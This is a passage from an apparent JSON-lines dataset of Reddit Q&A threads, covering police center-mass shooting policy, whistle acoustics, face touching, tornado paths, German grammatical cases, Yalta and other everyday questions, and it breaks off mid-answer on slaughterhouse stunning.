shoot someone in the leg they can still shoot and kill the cop ", "I read a great explanation by [monkeiboi](_URL_0_), gonna just paste it here:\n\nI'll explain from the perspective from the other side of the gun.\n\nOfficers are NOT trained to \"shoot out tires\" We are specifically told to never, ever try and shoot out someones tires. There's two major reasons why.\n\nA) discharging our firearm is permitted only to control a \"deadly force threat\" (imminent danger of death or serious bodily injury to ourselves or others). If we shoot at someone, it better be because we reasonably believe that the subject WILL kill/hurt someone if we fail to act. We are trained to shoot until the threat is controlled. For us, that typically means shooting at a person's center of mass. why? You ask? Because center of mass is the largest target, meaning we are more likely to score a hit and most likely to stop that subjects deadly force threat the quickest. We cannot \"shoot to wound\",because, a wounded subject is still capable of killing or harming you or someone else. Shooting to wound is using \"pain compliance\" to establish control....but we are using a lethal force control option. WE are using a level of force that is likely to cause death or serious bodily injury, to address a threat that we feel can be managed through non-lethal means. The very act of using a firearm to \"wound\", negates your justification for using that level of force. We use lethal force to \"stop\" a deadly force threat. We are trained to stop the threat in the quickest, most effective, means.\n\nB) we are responsible for every bullet that leaves our firearms. This includes richochets. If we're shooting at someone to \"stop\" their deadly force threat, and a bullet misses and injures a bystander, we are only responsible for the failure to make sure all our shots hit the correct target (whether that is because of a lack of range training, or improper equipment, whatever). Referencing my first point, if we shoot to \"injure\" their car....well we aren't stopping the threat. A flat tire doesn't stop a car, it doesn't make the driver less capable of getting out and opening fire. We would be using lethal force to control a resistance that we de facto aknowledge can be met with less lethal control. So NOW, that stray bullet or that richochet, has injured or killed an innocent bystander...when we had NO justification for using it in the first place. That's why we have things like tire strips..or tazers. Those are ways for us to flatten tires...or stop a threat, that are not \"lethal force\". Our failure to have access to less lethal control options is not justification for excessive force.\n\nIt is sad what happened to this woman. But honestly, you feel that her behavior was excusable? How was anything about what she did before, during, and after this video reasonable? Reasonable people do not drive into police barricades and strike officers trying to stop them. Reasonable people do not lead police on vehicle pursuits. Reasonable people do not ram police cars blocking them.\n", "Using a gun is deadly force. If you shoot to maim, you are saying \"I used deadly force but didnt have to.\"  You can then be held liable for using lethal force unnecessarily.   \n  \n\n", "Honestly, the best way to gain some perspective is to try your hand at some pistol target shooting.  It's extraordinarily difficult to hit a small/moving target with a pistol.  Even after a few classes, you'll still find it difficult to hit the center of a larger stationary target consistently.  Of course, all things improve with practice.  However, without constant training the leg/arm shot is often just not feasible.  A non-fatal shot sounds good in theory, but is VERY difficult to execute in an actual emergency scenario.  I really had to try it myself before I truly understood that particular dilemma.  ", "I was once told by a cop, by shooting a suspect in  a non fatal area, that can open a door for them to come back and sue the city/officer etc.  ", "If they draw the guns its suppose to be a matter of life and death. If its a matter of life and death, you dont take chances", "If you live in the States, I highly suggest you head down to a local gunshop w/ firing range with a friend (if you aren't a gun owner with your own gun you can't just go in and rent a gun by yourself, you have to go in with someone.  Prevents suicides, etc.  Specific laws vary state by state).\n\nRent yourself a .22 (easiest to control), a box of ammo, and a couple of targets.\n\nNow go and try and hit that target at various ranges.  Except imagine the bulls-eye on the target as the leg, eg you HAVE to hit the bulls-eye to make a successful leg shot, center of bulls-eye for an arm shot.  Everything else is a miss.  \n\nNow pretend that if you \"miss\" and run out of ammo in your clip, you are dead.  Or \"miss\" your first shot and you are dead.\n\nThen go find yourself a gun range with moving targets and try the exercise again.\n\nYou'll learn that you are going to be very dead most of the time trying for perfect shots like that, nevermind that in real life your target is moving and possibly firing back at you, adrenaline will be surging, hands shaking, and you won't have time to carefully line up your shot.\n\nI talked not too long ago with a vet back from Iraq.  He was out on patrol when his squad ran into a bunch of armed insurgents at about 20-30 yards (opposite ends of a short street).  Both groups were were surprised by the other.  Everyone \"emptied their clips at each other in a panic.\"  No one on either side was hit at all.  This was a clear line-of-sight situation, no cover, fully automatic weapons.  Buildings at either side of the street were chewed to hell and everyone retreated back the way they came.\n\nMoral of the story:  Real Life is not like the movies where everyone is a sharpshooter.  Even heavily trained professional soldiers are prone to the biological effects of panic  &  adrenaline.", "Unless you severely damage the central nervous system or cause a very large amount of blood loss in a very short period of time there is no physiological reason for the threat to stop coming", "Top comments all on point but also guns kill people you don't point one and pull the trigger attempting to wound them your trying to stop the threat.\n\nRule #1 every gun is always loaded\n\nRule #2 never point a gun at something you don't intend to destroy\n\nRule #3 finger off trigger till you want to destroy what the gun is pointed at\n\nGuns are lethal they are used for lethal force and that's all they're meant for.\n\n(Aside from hunting, marksmen, and maybe collecting but again same with hunting and marksmen you are as humane as possible and go for a quick clean kill).", "Really simple. The decision to fire a weapon at anyone always involves the use of deadly force. If you've reached the point where the use of deadly force is warranted - then it never makes sense to attempt to shoot to only wound or incapacitate. If you're going to fire your weapon, shoot to kill, not injure, wound, or maim. Put yourself in the position of a police officer who decided to \"try to shoot him in the legs\" because \"I only wanted to stop him\" because \"he was going to get away\" but then the bullet hits an artery and he bleeds to death. From a legal point of view, anything other than an attempted kill shot is utterly indefensible. You shoot until the threat is eliminated. Then you call an ambulance, and hope for the best...", "A friend explained to me that, in shooting situations, adrenaline is pumping and messing up your aim. It's difficult to hit anything, so forget getting clever and shooting for the leg. The chest is the easiest place to hit, so aim there.", "I'm not a cop.  I have handled firearms since I was around 10 years old.  I was taught safety first - and the most important thing to learn is that any firearm is a deadly thing, and that power is something to be constantly aware of, and respected.  Given that principle, you learn (among other safety principles) to never fire at a living thing unless you intend to kill it.  Because regardless of how good your aim, or how weak the weapon, or any other number of real-life mitigating circumstances, the chance to cause death with a firearm is always there.  So you do not allow for that chance unless you intend death.\n\nThe same principle, then applies to law enforcement and their decision to shoot at a person - while different jurisdictions may have different language or definitions of what constitutes a perceived threat to an officer, there is some point at which the officer must decide that potential deadly force is necessary.  ONLY after that point is reached, should he fire his gun.  And, once that point is reached, just like others have stated here, the goal of the shot should be to stop the threat.  The most probable place to hit any target is the center of mass.  The most likely place to hit a human being, in order to neutralize them as a threat, is in the heart, lungs, or brain.  Which of these places most closely corresponds with the center of mass?  Heart and lungs.\n\nTherefore, once the decision has been made that firing a weapon at a person is necessary to stop a threat, the most logical place to aim for is the center of mass.\n\nKilling anything, but particularly other people, isn't an easy decision for most people.  Therefore, shooting someone should not be an easy decision.  But, once that decision is made, the likelihood of a fatal wound realistically outweighs the likelihood of successfully neutralizing a threat by hitting an arm or leg.", "If you didn't get people trained to shoot for center mass, you'd get [THIS](_URL_0_) (NSFW) and nobody wants that. . . . All kidding aside, in real life if a firearm needs to be used in a situation, it is life or death and the other person needs to go down hard.", "This probably happens more than you think. A cop non fatally shooting someone doesnt make the headlines", "1. Shooting someone is very hard. Shooting standing targets from a resting position at an indoor gun range is hard enough, doing it while out in the real world on a dark night with someone bearing down on you while your brain is flooding your body with adrenaline... it is amazing how much skill that takes. Aiming for a \"non-vital\" part adds way to much to that challenge. \n\n2. Shooting someone is lethal force. A gunshot to the leg is potentially fatal. A gunshot to the shoulder is potentially fatal. A gunshot to the arm is potentially fatal.... and not in the sense that the flu or a spider is potentially fatal. A \"non-lethal\" shot to the shoulder can easily ricochet into someone's lungs or heart. A leg shot could rupture the femoral artery, causing a very quick bleed out. It's not like in the movies where the hero takes on in the shoulder, wraps it up in gauze and keeps on trucking.\n\n3. If you shoot for a leg and miss, the bullet still completes it's journey. Shooting for someone in the shoulder and missing makes for a situation where someone not involved in the incident gets hit with that stray bullet. \n\n**tl;dr:** Guns (or more accurately lead bullets) are not effective non-lethal weapons.\n\n", "So, my short list:\n\n1. Don't use a deadly weapon on someone you don't need to kill.\n\n2. More mass the bullet hits the less the chance of it carrying on to an unintended target.\n\n3. Easier to hit the body, and if you miss your intended target that bullet has a higher chance of stopping in an innocent.", "Have no source other than what I have personally heard from a police officer I know. In a potential life or death situation where you have split seconds to make a decision and act. What do you think is easier to hit? A body or an arm/leg?\n", "We are trained to shoot to STOP the threat. We do not shoot to kill. We do not shoot to wound. Aiming center mass stops the threat.  Center mass does not move as fast as a swinging arm, leg, hand etc. If I am in a shooting I am in a DEADLY FORCE situation, where deadly force is legal, justified and reasonable to stop the treat. ", "police officers are trained to draw there weapons as a last resort or when their risk assessment deems them to be in harms way. In the heat of the moment there is no time to draw a weapon and aim when someone else is pointing a gun back at you or charging you with a knife. They are in fact trained to shot at the chest and depending on the police officer if they are left handed or right handed you can see the strafing of bullets curved left or right accordingly as the begin to shoot as the draw their firearms from their holster. theoretically there should be no situations where a police officer would consider drawing a weapon to shoot them in the leg or non fatal areas because as i mentioned earlier they only draw when there is a imminent threat to the officers life of the general public ", "I'm not a cop, but I would imagine it's because they want to go home to their families, like everybody else.", "personally, to really understand the explanations here I would suggest reading \"The Unthinkable\" by Amanda Ripley.  It goes into great detail about how humans react in emergency situations (with ridiculous amounts of legit citations of studies and research) and there is a lot of good information about emergency responder training, and why they do it the way they do.", "See if you can find an indoor shooting range with movable targets. Have the target come at you from 25 yards and try to shoot it. You have to adjust where you're aiming based on whether the target is moving towards you or away from you. There are a lot of factors to consider. Shooting people in the leg is a movie tactic that just isn't plausible in real life. \n\nAnswer pt. 2: discharging a weapon is considered lethal force, no matter where the bullet strikes the target, even if at all. For an officer to discharge his weapon, the individual has to display intent and ability to cause serious harm to another individual. It sounds like you mean for it to be a \"less lethal\" option, for which there are other pieces of equipment, such as the baton, pepper spray, taser, etc. ", "Because why should a cop risk getting killed by some idiot who is running at him...if he isn't sure if the guy is armed?\n\nPlus, it is EXTREMELY easy to get your hands on a gun if you get anywhere near someone,  and you actually have a massive mechanical advantage when pushing the barrel when all he is holding is the grip  (the barrel is a longer lever). \n\nFinally,  of a guy had a ton of adrenaline, or is on drugs, you really need to put him down.  In real life handguns suck at instant kills unless you aim for the head. In actuality, almost all gunshot victims die by bleeding out. That means that even if you score a lethal hit on someone, they may have a few minutes to get to you. \n\nThat is why guns are so bad for cops. They almost force you to  shoot to kill, and indeed a lot of people think that is exactly how to use them.\n\nEdit: I am NOT commenting on the Ferguson case.", "There's a couple reasons for this. \n1. Firearms are lethal force and are considered a last resort against an aggressor.\n\n2. One of the cardinal rules of all firearms is to only point a gun at something that you are willing to destroy. So if a bad guy is threatening yourself or others and the other tools at your disposal won't do the job (tazer, mace, pepper spray, etc.) Then drawing your firearm maybe your final option to end the situation.\n\nLike many others have said, wounding people may not actually take care of the situation. Furthermore hitting a specific target (head, leg, etc.) Is much more difficult and you are far more likely to miss if you do that, and that could potentially cause you to hit an unintended target (bystander, use your imagination) so aiming center mass (chest) not only serves as a better target to shoot at but it also reduces your chance of missing.\n", "Consider that if non-fatal shooting was their intention, cops would feel comfortable pulling their guns and shooting a lot more situations. And naturally a lot more unintended deaths would occur.", "If someone has done something that justifies lethal force, you want to make sure the force is actually lethal.", "Also law enforcement attracts all types especially sociopaths looking to shoot someone and get away with it. ", "Because we want to go home to our families. \n\nWe shoot for center mass, the largest area of the body, thus the easiest to hit, attempting to aim for much smaller areas such as the hand or leg could easily result in stray bullets traveling hundreds of feet away, striking god knows what. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], [], [], [], [], [], [], ["http://en.wikipedia.org/wiki/File:Arterial_System_en.svg"], ["http://en.m.wikipedia.org/wiki/1986_FBI_Miami_shootout"], [], [], [], [], ["http://cdn.bearingarms.com/uploads/2014/05/b-27-target.jpg"], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], ["http://www.nbcnews.com/news/world/u-s-soldier-shot-twice-german-cops-after-oktoberfest-rampage-n212391", "http://www.theatlanticwire.com/global/2012/05/german-police-used-only-85-bullets-against-people-2011/52162/"], [], [], [], [], [], [], [], [], [], ["http://www.reddit.com/r/explainlikeimfive/comments/2nregn/eli5_how_easy_or_difficult_is_it_to_incapacitate/"], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], ["http://www.pfoa.co.uk/110/shooting-to-wound"], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], ["http://bearingarms.com/professionals-dont-shoot-wound/"], [], ["http://www.dw.de/why-german-police-officers-rarely-reach-for-their-guns/a-17884779", "http://rt.com/usa/us-germany-85-shots-022/"], [], [], [], [], [], ["http://en.m.wikipedia.org/wiki/Schie\u00dfbefehl", "https://andreivocila.wordpress.com/2010/02/25/procedura-privind-folosirea-armamentului-din-dotare/"], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], ["http://www.pfoa.co.uk/110/shooting-to-wound"], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], ["http://www.policeone.com/legal/articles/2071009-Why-shooting-to-wound-doesn-t-make-sense-scientifically-legally-or-tactically/"], [], [], [], [], [], [], [], [], [], [], [], [], ["https://www.youtube.com/watch?v=6wYTkHqM4c8"], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], ["https://www.michaelyon-online.com/gates-of-fire.htm"], [], [], [], [], ["https://www.michaelyon-online.com/gates-of-fire.htm", "http://imgur.com/beNxkal"], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], ["http://m.nydailynews.com/new-york/injured-kevin-herlihy-released-hospital-article-1.1022979#bmb=1"], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], ["https://www.youtube.com/watch?v=04dUCT-qO3c"], [], [], [], [], [], [], [], [], [], ["https://www.reddit.com/r/washingtondc/comments/1notdy/raw_video_of_dc_shoot_out_today_and_how_it_started/cckx0s0?context=1"], [], [], [], [], [], [], [], [], [], [], ["http://vimeo.com/86014703"], [], [], [], [], [], [], [], [], [], [], [], [], [], [], []]}
{"q_id": "7vody8", "title": "why does a referee whistle sound louder with a pea than without?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/7vody8/eli5_why_does_a_referee_whistle_sound_louder_with/", "answers": {"a_id": ["dttvfml", "dtu1sxv", "dtubq3d"], "score": [110, 38, 20], "text": ["The pea causes pulses of whistle. Notice how the pea causes a wharbled tone rather than a constant tone?\n\nEach pulse gets a little time to build pressure before the tone is emmited.", "You're starting from a flawed premise. Not all whistles are created equal, and the pea is not what makes a loud whistle loud. My lifeguard whistle from college was a pealess (fox40) whistle that blasts your ears off compared to the cheapo pea'd whistle i got in my boy scout days. \n\nFor your question, assume that we're taking about identical whistles, with and without a pea (like when the pea broke and fell out of my cheap boy scout whistle).\n\nIt has to do with the acoustic chamber. \n\nIf you're blowing across the acoustic chamber on a pealess pea whistle, it produces a single tone that is rather muted. \n\nThe pea rattling around in the acoustic chamber disturbs the airflow, allowing some air to back up in the mouthpiece and then create two speeds going across the chamber, which modulates the tone. The warbling tone carries farther and is heard better. ", "There was a documentary about the Fox40 whistle on tv once (think like \"How it's made\" but a different show). The inventor, a referee himself hated ball whistle because a batch of 12 would often have 7 or 8 ones actually working and there was always a risk of the ball getting caught and jamming the whistle. He lived it twice, once at the freaking olympics where everybody assumed he was an idiot for missing a call and another time in a soccer game in Brazil (I think) where he had to be escorted off the field for his safety after missing the call. He designed the Fox40 to be loud and reliable. His biggest sales pitch was during a referee convention where he just stood in the hallway at 2am and blew his fox40 prototype as loud as he could and people came out asking what the hell was that noise. He sold almost everything he had right then and there."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "fn8qjb", "title": "Why have humans evolved to touch our own faces with frequency?", "selftext": "I am a Public Health major and a large percentage of reduction strategy for neglected tropical diseases, the flu, and many other viruses is simply encouraging handwashing while trying to encourage limited \"face touching\". Not one of my classes has ever discussed why we touch our faces so often? From a limited google search, it seems most other creatures do not touch their faces nearly as often. Considering one of the easiest ways to reduce viral spread is avoiding hand contact with your face, why did we evolve to touch our face so often?", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/fn8qjb/why_have_humans_evolved_to_touch_our_own_faces/", "answers": {"a_id": ["fl9iqn6", "flahdqe"], "score": [3, 12], "text": ["It's a comforting mechanism, possibly grounding. The cheek skin is some of the most sentitive and provides ample neural feedback due to the high frequency of neurons. Activating it can create a grounding sensation during periods of anxiety and stress.", "Epidemic respiratory diseases are pretty new in human history.  Currently circulating coronaviruses (not covid-19, MERS or SARS, the \"common cold\" type ones) seem to go back 500 - 1000 years.  source [1](_URL_1_), [2](_URL_3_).  Influenza A is barely a century old in humans [3](_URL_2_).  Of course, humans have been getting sick from these diseases for longer than that, influenza A and B diverged about 4000 years ago [4](_URL_0_) and various flulike epidemic diseases are known from the historical record going back almost that far.  \n\nBut these diseases need large aggregations of humans to thrive.  Before the rise of agriculture and especially urbanized civilization, there was probably insufficient population density for human centered epidemic diseases to really get going. A few thousand years isn't really long enough for people to evolve to avoid touching their face...which probably has side benefits for removing the bigger threat of biting insects and other irritants.  People have been dying of malaria for much longer than flus and the like, and an instinct to scratch at an uncomfortable feeling on your face is likely to shoo off a lot of mosquitoes."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://academic.oup.com/mbe/article/19/4/501/995507", "https://www.ncbi.nlm.nih.gov/pmc/articles/PMC6356540/", "https://www.pnas.org/content/106/28/11709", "https://www.ncbi.nlm.nih.gov/pubmed/17054987"]]}
{"q_id": "6j7mp1", "title": "what is the white residue that lines the side of my water pitcher that's been sitting out all day? is there something in the water?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/6j7mp1/eli5_what_is_the_white_residue_that_lines_the/", "answers": {"a_id": ["djc5d06", "djcdw3u"], "score": [15, 4], "text": ["It is lime. Any water contains solved amounts of lime so when it evaporates the lime reamins as residue.", "The various salts and minerals that are dissolved in the water. If it's been sitting out some of the water will evaporate leaving the solutes behind. Exactly what it contains will depend on where the water came from."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "fd57lg", "title": "The Nashville tornado of last night followed a similar path to tornadoes in 1998 and 1933. What causes tornadoes to follow similar paths in certain areas, if indeed this is true?", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/fd57lg/the_nashville_tornado_of_last_night_followed_a/", "answers": {"a_id": ["fjgo7g9", "fjh36lj"], "score": [8, 2], "text": ["Some of my undergraduate work in state climatology, back when computer plotting was new and innovative, was to plot tornado directions in the Midwest.  The science on tornadoes, even many years later, is surprisingly sketchy, ( [_URL_0_](_URL_0_) ) so take this all with a grain of salt.\n\nIn broad terms, there seem to be two factors that affect tornado direction. \n\n1) Prevailing wind directions in the region, and more specifically, the direction of the storm itself.  Thus, MOST tornadoes in the midwest and southeast tend to have a west-to-east or southwest-to-northeast track\n\n2) Unobstructed paths.  In the plains states, they can pretty much form and run wherever they want because of a lack of significant terrain obstructions. In Nashville, IF they form, they can only have long west-east runs in the valley along the river, as the mountains in Williamson County seem to affect their ability to have long runs.  The terrain doesn't seem to prevent them forming aloft, but you're likely to see a shorter track or the tornado remain aloft for longer periods. \n\nTornadoes can spin off at an angle to the storm; the mental image is almost as if you released a spinning top while running : the top will probably follow the path of your momentum, but could veer off as well. \n\nSo the answer would seem to be that the Nashville track is the only favorable long track in the immediate area, so IF one forms along that path, it'll follow that path.  I don't think there's anything about the path itself that makes it more likely for tornadoes to form, if that makes sense. It's not causal, it's convenient.", "Prevailing wind patterns combined with unique terrain features cause vortex flows to spawn repeatedly and reliably from the same sites. Think of bubbles in a beer glass, departing over and over again from the same nucleation site. This is a theory I developed from watching time lapse views of weather data showing tornado paths."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.spc.noaa.gov/faq/tornado/"], []]}
{"q_id": "71ccju", "title": "why does wrapping certain joints alleviate pain/ prevent injury?", "selftext": "I am an avid weightlifter and about 2 years ago I got tendinitis in my wrist because of poor form. My doctor recommended (after some time off) I should wear wrist wraps when exercising. After returning I noticed immediate results and have had little to no pain in 2 years, even though my form has changed little. What about wrapping your wrists is so beneficial to your joints?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/71ccju/eli5_why_does_wrapping_certain_joints_alleviate/", "answers": {"a_id": ["dn9q427"], "score": [5], "text": ["Your tendons are supposed to hold your joints and associated bits together nice and tight.  They don't heal easily, and when they're damaged they don't do their job properly, causing the load from your hands to transfer in unnatural ways to your arms.  \n\nBy wrapping your wrists, you've externally reinforced the tendons, ensuring the forces in your hands transfer as they're supposed to. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "apmbit", "title": "how do you explain the difference between sympathizing with someone and empathizing with someone?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/apmbit/eli5_how_do_you_explain_the_difference_between/", "answers": {"a_id": ["eg9j3ph", "eg9jj94", "ega1b1e", "egaduzo"], "score": [26, 5, 11, 2], "text": ["Sympathy is the act of understanding someone else's emotions. Empathy is feeling those emotions yourself.\n\nFor example, if a friend's parent recently passed away you might feel sympathy if you understand that they are sad. But, if you also had a parent pass away you can remember the same feelings you had at that time. So, you can empathize with the person because you feel (or have felt) the same way they do.", "Sympathy is understanding and sharing the emotion with someone, empathise is actually feeling it with them. \nIf you feel sorry for someone you sympathise, if you emotionally hurt with them you empathise. \n\nIt\u2019s from the Greek meaning of the words\n\nSyn means together. Like symphony or symbiotic. \n\nEm comes from the prefix en which means in or on. \n\nPathos means emotion. \n\nSo literally emotion together = sympathy \nIn emotion = empathy ", "When you \"mirror\" the other person's emotions or emotional state (often unintentionally) you are experiencing empathy. \n\nWhen you \"recognize\" the other person's emotions and hope they would feel better then you are experiencing sympathy.\n\nI can feel sympathy for a friend who lost his mother because I recognize his grief, and wish that it was not so.\n\nSimilarly, I can feel empathy for my girlfriend when her dog dies because I see the pain in her and it induces pain in me. Importantly I am not \"remembering\" my own pain when my own dog died, I am primarily responding to the grief I see in her and feeling it myself.\n\nThat is because both situations are possible REGARDLESS of my own life experience. It really comes down to the degree of emotional distance. Very closely in tune = empathy, at \"arm's length\" = sympathy. Neither one is better or worse, they are just different situations.\n\nFurther confusing things is you can have sympathy for someone to the point of feeling sorrow, but this is not empathy because although you feel bad because of their situation, you are not directly \"mimicking\" their emotions.\n\nEmpathy is perhaps best exhibited with babies or defenseless aniamls. When you are close to a baby or animal and you see it get terrified you'll likely feel a similar mirror emotion in your chest, a mirror of the emotions the baby/animal is displaying. Their behaviors have triggered you to feel the same way.\n\nOn the flipside, you can see a mother struggling with a crying baby or an owner with a sick pet and feel sympathy for their struggles because your recognize the pain they are in but not necessarily get that same \"ache\" in your chest... unless of course you start to empathize with the baby/animal they are dealing with but then you're feeling both emotions at the same time.\n\nIt can get very complicated.", "There's already a good definition here, so I'll define it in more practical terms. When someone comes to you with all of their problems and they are an emotional mess, there are two ways of responding to them. One is listening and trying to solve their problems with advice because you understand the problems and maybe you've been there yourself.\n\nThe other is to just listen, tell them that you're there for them, and supporting them emotionally.\n\nHint: the second one is the correct thing to do. People don't want you to solve their problems, they want to vent. This is why Mary Jane got mad a Peter Parker in Spiderman 3."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "4ap74s", "title": "Was there a contingency plan during the American Revolution should Washington be captured/killed?", "selftext": "I've been doing some reading recently on George Washington and this question came to mind. Did the Continental Congress ever have a solid plan of what they would do should the Commander in Chief be killed or captured?\n\nI understand that throughout Revolution, there seemed to be a revolving door of \"2nd in commands\" to Washington, and they all seemed fairly incapable or possibly even corrupt (i.e. Charles Lee and Horatio Gates). Would it have fallen to someone like Nathanael Greene or Benjamin Lincoln? ", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/4ap74s/was_there_a_contingency_plan_during_the_american/", "answers": {"a_id": ["d12nnt4"], "score": [90], "text": ["There wasn't a clear contingency plan, but they wouldn't really need one. As you've mentioned, there was a pool of Major Generals one rank beneath General Washington. Upon Washington's death, command would pass to the most senior Major General until  such time as Congress named a replacement.\n\nBetween 1777 and 1780, the most obvious choice was Gates, the Victor of Saratoga. In fact, until his disastrous defeat at Camden, Gates had a better service record than Washington did, and there was a considerable movement to fire Washington and replace him with Gates - a move backed, at least at one point, by John Adams. \n\nAfter Camden, Greene probably would have been the most obvious choice. He did well against Cornwallis, and Washington entrusted him with command of the southern half of the Continental Army after Yorktown.\n\nSource: Robert Middlekauf, *The Glorious Cause*"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "34jblf", "title": "in the nba, why do west coast teams have better players than the east coast? i am a novice when it comes to basketball but i've noticed the west always has more athletic and talked about players than the east. why is this?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/34jblf/eli5_in_the_nba_why_do_west_coast_teams_have/", "answers": {"a_id": ["cqv7nkj"], "score": [2], "text": ["in the 90s the east was better. some contributing factors include shaq, kobe, tim duncan, KG, etc all those amazing players in the 2000s go towards the west. \n\n_URL_0_\n\ni think the top comment is interesting, with the general shift in population, etc heading west these last few decades, there goes the money and the lifestyle, where these top players want to be"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.reddit.com/r/nba/comments/1gal0r/why_has_the_western_conference_been_consistently/"]]}
{"q_id": "1h7ygz", "title": "the difference between the nominative and accusative cases in german assuming i know basic english.", "selftext": "Like the title says.  I've been researching the net and it appears I need it explained to me like I\"m five.  ", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1h7ygz/eli5_the_difference_between_the_nominative_and/", "answers": {"a_id": ["carpkuc", "cart7xn"], "score": [10, 2], "text": ["In English, the nominative and accusative cases have been mostly merged.\n\nIn German, the accusative case is used when an action is directly applied on a object.\n\n    I drink the wine. Ich trinke DEN Wein.\n\nThe nominative case is when you are either simply describing an object.\n\n    The wine is good. DER Wein ist gut.\n\nNote that when you are equating two things, it will be in nominative not accusative. \n\n    I am the wine. Ich bin DER Wein.\n\nGerman also has a dative case. It is when an action affects the object indirectly.\n\n    I drink with the friend. Ich trinke mit DEM Freund.\n\nFor starting out, the easiest way to remember the cases is as follows:\n\n\nNominative Case:      \n\n* the thing is in the subject (The *house* is over there.)\n* the thing is in the object but is being equated to the subject. (That is a *computer*)\n\nAccusative Case:\n\n* The thing is in the object and is being acted on directly. (I eat *pork*)\n\nDative Case:\n\n* The thing is in the object and is being acted on indirectly. (I am going with *you*. I am next to *you*)\n", "Looks horrible. I`m glad I learned it in der Grundschule."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "2mv10q", "title": "At the Yalta Conference, why did Roosevelt and Churchill agree to let eastern Europe become part of the \"Soviet sphere of influence?\"", "selftext": "I know that Stalin was concerned about the future security of the USSR. After all, the USSR lost almost 20 million people. However, the USSR was communist and didn't Roosevelt and Churchill want to stop the spread of communism?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/2mv10q/at_the_yalta_conference_why_did_roosevelt_and/", "answers": {"a_id": ["cm7zhrb", "cm8irl6"], "score": [7, 3], "text": ["They agreed to do it in part because they had no other choice. It was already, de facto, in the Soviet sphere of influence. The question was whether they could convince the Soviets to relent a bit on what that might mean. So they thought that Stalin might actually let Poland be democratic, which turned out to be false. \n\n[This is a map of the front as of around February 1945, when Yalta took place](_URL_1_). You can see that the Soviets already have most of Eastern Europe under their control. The parts they don't have will be in their grasp sooner than they will be in anyone else's grasps. These were the military \"facts on the ground\" and to imagine anything else happening in the postwar, you have to imagine that the Soviets could be convinced to relinquish that acquired control. Diplomatically they assessed that was mostly out of the question except maybe in terms of Poland. And they did not care enough about Eastern Europe enough to try to force them to relinquish that control militarily. \n\nOn this matter, Michael Dobbs' _[Six Months in 1945: From World War to Cold War](_URL_0_)_ is instructive, as he is relentless in emphasizing the importance of the \"facts on the ground\" about this sort of thing. It is one of the ironies of WWII that it gave the USSR an excuse to invade a huge number of countries in the excuse of \"liberation\" from the Nazis.", "/u/restricteddata has ignored other reasons why Roosevelt agreed to the Soviet sphere, even if the reason he provided is paramount.  Roosevelt wanted the Soviet Union to help defeat Japan after the war in Europe ended, and he wanted Stalin to help him to maintain the United Nations after World War II.  He couldn't very well challenge Stalin on Eastern Europe and realize either of these other goals.  Furthermore, Roosevelt simply did not care for Eastern Europe the same way he did Western Europe.  It is unimaginable that Roosevelt would have been so accommodating if Stalin sought to incorporate France, Belgium, or his own ancestral grounds the Netherlands, no matter what the \"facts on the ground\" might have been.  "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.michaeldobbsbooks.com/six-months-in-1945.html", "http://upload.wikimedia.org/wikipedia/commons/8/84/1945-02-15GerWW2BattlefrontAtlas.jpg"], []]}
{"q_id": "b1xoxe", "title": "why are cows' deaths in slaughterhouses so slow, instead of immediate?", "selftext": "I wish I could phrase the question less provocatively, but I can't. The way I've always heard and seen it, though, cows are usually hit with a stunner that just smashes them in the head to knock them out. Then they get hoisted up onto a conveyor rail, and stabbed in the throat to let all their blood drain out. However, what I've also heard is that often, they're still alive and capable of sensing pain during this time, they know they've been stabbed and are bleeding out. Why not just restrain them to a conveyor belt and decapitate them, or something else more instantaneous?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/b1xoxe/eli5_why_are_cows_deaths_in_slaughterhouses_so/", "answers": {"a_id": ["eioty8y", "eioum9w", "eiozt4x", "eip0qkf"], "score": [2, 2, 2, 2], "text": [" >  The way I've always heard and seen it, though, cows are usually hit with a stunner that just smashes them in the head to knock them out. ... However, what I've also heard is that often, they're still alive and capable of sensing pain during this time,\n\nThe whole \"unconscious\" thing prevents them from feeling pain or knowing that they are bleeding. The captive bolt \"stunner\" is often penetrating; it isn't just knocking them in the head, [it is shoving a rod deep into their brain.](_URL_0_)", "They are not 